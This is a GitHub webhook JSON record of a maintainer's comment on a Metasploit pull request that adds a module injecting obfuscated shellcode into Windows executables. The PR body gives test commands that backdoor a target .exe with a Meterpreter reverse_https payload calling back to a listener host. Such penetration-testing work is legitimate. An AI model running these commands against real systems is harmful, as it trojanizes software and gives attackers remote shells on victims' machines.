{"action":"created","issue":{"url":"https://api.github.com/repos/rapid7/metasploit-framework/issues/8983","repository_url":"https://api.github.com/repos/rapid7/metasploit-framework","labels_url":"https://api.github.com/repos/rapid7/metasploit-framework/issues/8983/labels{/name}","comments_url":"https://api.github.com/repos/rapid7/metasploit-framework/issues/8983/comments","events_url":"https://api.github.com/repos/rapid7/metasploit-framework/issues/8983/events","html_url":"https://github.com/rapid7/metasploit-framework/pull/8983","id":259009237,"node_id":"MDExOlB1bGxSZXF1ZXN0MTQxOTg5ODI2","number":8983,"title":"Add peinjector post module","user":{"login":"thealpiste","id":25386374,"node_id":"MDQ6VXNlcjI1Mzg2Mzc0","avatar_url":"https://avatars0.githubusercontent.com/u/25386374?v=4","gravatar_id":"","url":"https://api.github.com/users/thealpiste","html_url":"https://github.com/thealpiste","followers_url":"https://api.github.com/users/thealpiste/followers","following_url":"https://api.github.com/users/thealpiste/following{/other_user}","gists_url":"https://api.github.com/users/thealpiste/gists{/gist_id}","starred_url":"https://api.github.com/users/thealpiste/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/thealpiste/subscriptions","organizations_url":"https://api.github.com/users/thealpiste/orgs","repos_url":"https://api.github.com/users/thealpiste/repos","events_url":"https://api.github.com/users/thealpiste/events{/privacy}","received_events_url":"https://api.github.com/users/thealpiste/received_events","type":"User","site_admin":false},"labels":[{"id":213102939,"node_id":"MDU6TGFiZWwyMTMxMDI5Mzk=","url":"https://api.github.com/repos/rapid7/metasploit-framework/labels/enhancement","name":"enhancement","color":"5319e7","default":true},{"id":103443960,"node_id":"MDU6TGFiZWwxMDM0NDM5NjA=","url":"https://api.github.com/repos/rapid7/metasploit-framework/labels/meterpreter","name":"meterpreter","color":"5319e7","default":false}],"state":"open","locked":false,"assignee":{"login":"bwatters-r7","id":17987018,"node_id":"MDQ6VXNlcjE3OTg3MDE4","avatar_url":"https://avatars3.githubusercontent.com/u/17987018?v=4","gravatar_id":"","url":"https://api.github.com/users/bwatters-r7","html_url":"https://github.com/bwatters-r7","followers_url":"https://api.github.com/users/bwatters-r7/followers","following_url":"https://api.github.com/users/bwatters-r7/following{/other_user}","gists_url":"https://api.github.com/users/bwatters-r7/gists{/gist_id}","starred_url":"https://api.github.com/users/bwatters-r7/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/bwatters-r7/subscriptions","organizations_url":"https://api.github.com/users/bwatters-r7/orgs","repos_url":"https://api.github.com/users/bwatters-r7/repos","events_url":"https://api.github.com/users/bwatters-r7/events{/privacy}","received_events_url":"https://api.github.com/users/bwatters-r7/received_events","type":"User","site_admin":false},"assignees":[{"login":"bwatters-r7","id":17987018,"node_id":"MDQ6VXNlcjE3OTg3MDE4","avatar_url":"https://avatars3.githubusercontent.com/u/17987018?v=4","gravatar_id":"","url":"https://api.github.com/users/bwatters-r7","html_url":"https://github.com/bwatters-r7","followers_url":"https://api.github.com/users/bwatters-r7/followers","following_url":"https://api.github.com/users/bwatters-r7/following{/other_user}","gists_url":"https://api.github.com/users/bwatters-r7/gists{/gist_id}","starred_url":"https://api.github.com/users/bwatters-r7/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/bwatters-r7/subscriptions","organizations_url":"https://api.github.com/users/bwatters-r7/orgs","repos_url":"https://api.github.com/users/bwatters-r7/repos","events_url":"https://api.github.com/users/bwatters-r7/events{/privacy}","received_events_url":"https://api.github.com/users/bwatters-r7/received_events","type":"User","site_admin":false}],"milestone":null,"comments":19,"created_at":"2017-09-20T01:05:37Z","updated_at":"2018-08-03T16:35:17Z","closed_at":null,"author_association":"CONTRIBUTOR","pull_request":{"url":"https://api.github.com/repos/rapid7/metasploit-framework/pulls/8983","html_url":"https://github.com/rapid7/metasploit-framework/pull/8983","diff_url":"https://github.com/rapid7/metasploit-framework/pull/8983.diff","patch_url":"https://github.com/rapid7/metasploit-framework/pull/8983.patch"},"body":"This post module allow to inject a given shellcode into an portable executable file, it is based in the following project https://github.com/JonDoNym/peinjector\r\n\r\nThe algorithm to inject will search for the best aproach to inject the shellcode.\r\n\r\nIt will try infecting using alignment gap, if not posible i will proceed to try infecting using alignment gap and resize, if not posible it will  try infecting inserting new section with a random name.\r\nBy default it will try infecting using hidden jmp method, and obfuscate the shellcode. All this methods should be parametrizable in the future.\r\n\r\n\r\nTo test the module the following steps should be done:\r\n\r\n`use post/windows/manage/peinjector`\r\n\r\n`set targetpe \"c:\\\\target\\\\executable\\\\file.exe\"`\r\n\r\n`set session 1`\r\n\r\n`set payload windows/x64/meterpreter/reverse_https`\r\n\r\n`set lhost 192.168.0.100`\r\n\r\n`set lport 4443`\r\n\r\n`run`\r\n\r\nThe pull request for the meterpreter extension is the following:\r\nhttps://github.com/rapid7/metasploit-payloads/pull/239\r\n\r\n**[EDIT]**\r\n\r\nA new meterpreter extension interface was added. To test it just write the following command inside a meterpreter session:\r\n\r\n`injectpe -p < windows/meterpreter/reverse_https > -t < c:\\\\target_file.exe > -o < lhost=192.168.1.123, lport=4443 >`\r\n"},"comment":{"url":"https://api.github.com/repos/rapid7/metasploit-framework/issues/comments/410308292","html_url":"https://github.com/rapid7/metasploit-framework/pull/8983#issuecomment-410308292","issue_url":"https://api.github.com/repos/rapid7/metasploit-framework/issues/8983","id":410308292,"node_id":"MDEyOklzc3VlQ29tbWVudDQxMDMwODI5Mg==","user":{"login":"bwatters-r7","id":17987018,"node_id":"MDQ6VXNlcjE3OTg3MDE4","avatar_url":"https://avatars3.githubusercontent.com/u/17987018?v=4","gravatar_id":"","url":"https://api.github.com/users/bwatters-r7","html_url":"https://github.com/bwatters-r7","followers_url":"https://api.github.com/users/bwatters-r7/followers","following_url":"https://api.github.com/users/bwatters-r7/following{/other_user}","gists_url":"https://api.github.com/users/bwatters-r7/gists{/gist_id}","starred_url":"https://api.github.com/users/bwatters-r7/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/bwatters-r7/subscriptions","organizations_url":"https://api.github.com/users/bwatters-r7/orgs","repos_url":"https://api.github.com/users/bwatters-r7/repos","events_url":"https://api.github.com/users/bwatters-r7/events{/privacy}","received_events_url":"https://api.github.com/users/bwatters-r7/received_events","type":"User","site_admin":false},"created_at":"2018-08-03T16:35:17Z","updated_at":"2018-08-03T16:35:17Z","author_association":"CONTRIBUTOR","body":"OK; it is entirely possible that I am making a mistake.  I am continuing to test, and I'll look into the `ExitOnSession` thing.  Thanks for the quick reply!"}}
{"actor":{"display_login":"bwatters-r7"}}